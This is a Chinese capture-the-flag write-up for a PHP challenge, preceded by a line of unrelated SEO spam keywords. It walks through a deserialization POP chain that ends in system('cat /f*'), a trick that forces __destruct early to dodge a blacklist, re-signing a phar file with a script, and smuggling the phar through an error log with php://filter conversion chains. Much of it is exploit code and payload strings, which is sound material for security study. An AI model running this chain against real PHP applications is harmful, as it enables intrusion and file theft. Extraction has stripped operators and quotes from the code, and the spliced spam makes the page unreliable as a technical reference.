爱情动做电影网站推荐,佛山seo教程,设计上海网站建设,网站菜单代码文章目录 前置知识可调用对象数组对方法的调用GC回收机制phar修改签名 解题步骤 前置知识
可调用对象数组对方法的调用
我们先来看下面源码
?phperror_reporting(0);class User{public $username;public $password;public function check(){if($this-username?phperror_reporting(0);class User{public $username;public $password;public function check(){if($this-usernameadmin $this-passwordadmin){return true;}else{echo {$this-username}的密码不正确或不存在该用户;return false;}}public function __destruct(){($this-password)();}}链子很简单就是__destruct() - check() 但是关键点在于给password变量赋值check后并不能调用类中的check()因为
check() ! this-check()解决办法就是利用PHP7引入的一个新特性 Uniform Variable Syntax,它扩展了可调用数组的功能,增加了其在变量上调用函数的能力使得可以在一个变量或表达式后面加上括号直接调用函数。 可调用数组的构造我们简单测试下
?php
highlight_file(__FILE__);
class A{public function check(){echo brcheck!!!;}
}$a[new A(),check];
$a();发现成功调用
GC回收机制
简单给个示例
?php
class Start{public $errMsg;
}class Crypto{public $obj;
}$anew Start();
$bnew Crypto();
$a-errMsg$b;
$Aarray($a,NULL);
echo serialize($A);利用数组对象占用指针改数字实现提前触发__destruct()方法绕过黑名单检测
//修改前payload
a:2:{i:0;O:5:Start:1:{s:6:errMsg;O:6:Crypto:1:{s:3:obj;N;}}i:1;N;}
//修改后payload
a:2:{i:0;O:5:Start:1:{s:6:errMsg;O:6:Crypto:1:{s:3:obj;N;}}i:0;N;}phar修改签名
用010创建十六进制文件然后将phar内容复制进去手动修改内容后需要重新计算签名 不同签名格式对应不同的字节数本题是sha256
脚本如下
from hashlib import sha256
with open(hacker1.phar,rb) as f:textf.read()maintext[:-40] #正文部分(除去最后40字节)endtext[-8:] #最后八位也是不变的 new_signsha256(main).digest()new_pharmainnew_signendopen(hacker1.phar,wb).write(new_phar) #将新生成的内容以二进制方式覆盖写入原来的phar文件
解题步骤
dirsearch扫出来有源码泄露 Files.class.php
?phperror_reporting(0);class User{public $username;public $password;public function login(){include(view/login.html);if(isset($_POST[username])isset($_POST[password])){$this-username$_POST[username];$this-password$_POST[password];if($this-check()){header(location:./?cFilesmread);}}}public function check(){if($this-usernameadmin $this-passwordadmin){return true;}else{echo {$this-username}的密码不正确或不存在该用户;return false;}}public function __destruct(){($this-password)();}public function __call($name,$arg){ ($name)();}}可以得到用户和密码为adminadmin
Myerror.class.php
?phpclass Myerror{public $message;public function __construct(){ini_set(error_log,/var/www/html/log/error.txt);ini_set(log_errors,1);}public function __tostring(){$test$this-message-{$this-test};return test;}}
会发现题目会将报错信息写到/log/error.txt
Files.class.php
?phpclass Files{public $filename;public function __construct(){$this-log();}public function read(){include(view/file.html);if(isset($_POST[file])){$this-filename$_POST[file];}else{die(请输入文件名);}$contents$this-getFile();echo brtextarea classfile_content typetext value.br.$contents;}public function filter(){if(preg_match(/^\/|phar|flag|data|zip|utf16|utf-16|\.\.\//i,$this-filename)){echo 这合理吗;throw new Error(这不合理);}}public function getFile(){$contentsfile_get_contents($this-filename);$this-filter();if(isset($_POST[write])){file_put_contents($this-filename,$contents);}if(!empty($contents)){return $contents;}else{die(该文件不存在或者内容为空);} }public function log(){$lognew Myerror();}public function __get($key){($key)($this-arg);}}
read()方法可以查看文件然后调用getFile()方法先是读取文件然后黑名单检测其中包括phar伪协议然后写入文件
思路很简单就是phar伪协议读取文件首要解决的就是如何上传phar文件这里我们可以利用报错日志error.txtphar内容当成文件名传入那么error.txt就会出现我们传的内容如果我们再利用伪协议和特殊的过滤器去读取error.txt即可实现得到序列化的字符串第二个解决的问题就是如何绕过黑名单直接GC回收机制绕过即可
class文件整理如下
?phpclass User{public $username;public $password;public function check(){if($this-usernameadmin $this-passwordadmin){return true;}else{echo {$this-username}的密码不正确或不存在该用户;return false;}}public function __destruct(){($this-password)();}}class Files{public $filename;public function __get($key){($key)($this-arg);}}class Myerror{public $message;public function __tostring(){$test$this-message-{$this-test};return test;}}分析一下
链子出口是Files.__get()存在命令执行往前推到Myerror.__tostring()调用不存在属性再往前推到User.check()而这里的调用就要用到前置知识的可调用对象数组
pop链
User类利用可调用对象数组 - User.check() - Myerror.__tostring() - Files.__get()exp如下
?php
class User{public $username;public $password;
}
class Files{public $filename;
}class Myerror{public $message;
}$a1new User();
$a2new User();
$bnew Myerror();
$cnew Files();
$a1-password[$a2,check];
$a2-username$b;
$b-message$c;
$b-testsystem;
$c-argcat /f*;
$Aarray($a1,null);$phar new Phar(hacker.phar);
$phar-startBuffering();
$phar-setStub(?php __HALT_COMPILER(); ?);
$phar-setMetadata($A);
$phar-addFromString(test.txt, test);
$phar-stopBuffering();然后生成phar文件010打开手动修改为0 重新计算签名得到利用的phar文件
然后就是如何利用伪协议和过滤器读取 如果只是简单的base64编码会出现报错因为读取的是整个error.txt文件还包括其他非编码的字符构造过程如下
utf-16le 当utf-8转换为utf-16le时每一位字符后面都会加上一个\0这个\0是不可见的当将utf-16le转换为utf-8的时候只有后面有\0的才会被正常转换否则变为乱码 那么我们是否可以利用utf-16le来标记我们的payload然后解码只对我们payload解码(其他变成乱码)然后再base64解码。不过这个被过滤了我们可以用UCS-2编码区别在于\0在前面 UCS-2编码 UCS-2 编码使用固定2个字节,所以在ASCII字符中,在每个字符前面会填充一个 00字节(大端序) lanb0\x00l\x00a\x00n\x00b\x000那么下一步就是如何构造\0因为是不可见字符所以引入Quoted-Printable编码 Quoted-Printable编码 “Quoted-Printable编码的基本原则是安全的ASCII字符如字母、数字、标点符号等保持不变空格也保持不变但行尾的空格必须编码其他所有字符如非ASCII字符或控制字符则以”后跟两个十六进制数字的形式编码 lanb0\nlanb00A整个流程如下
测试数据test
base64编码dGVzdA
加上\0等号也要转换00d00G00V00z00d00A003D003D上传后
垃圾数据00d00G00V00z00d00A003D003D垃圾数据
解码
垃圾数据\0d \0G \0V \0z \0d \0A \0 \0垃圾数据
UCS-2转UTF-8乱码dGVzdA乱码
base64解码test加密脚本
?php
$afile_get_contents(hacker1.phar);//获取二进制数据
$aiconv(utf-8,UCS-2,base64_encode($a));//UCS-2编码
file_put_contents(hacker.txt,quoted_printable_encode($a));//quoted_printable编码
file_put_contents(hacker.txt,preg_replace(/\r\n/,,file_get_contents(hacker.txt)).003D);//解决软换行导致的编码结构破坏注在 Quoted-Printable 编码中为了防止编码后的字符串过长通常会在每76个字符后插入一个软换行也就是 符号加上一个换行符。
将得到的加密字符串输入然后访问/log/error.txt 接下来就要用到伪协议和过滤器后面步骤要点击重写文件 解码quoted-printable
php://filter/readconvert.quoted-printable-decode/resourcelog/error.txt解码UCS-2
php://filter/readconvert.iconv.UCS-2.UTF-8/resourcelog/error.txt解码base64
php://filter/readconvert.base64-decode/resourcelog/error.txt可以看到我们序列化的结果最后用phar伪协议读取即可
phar://log/error.txt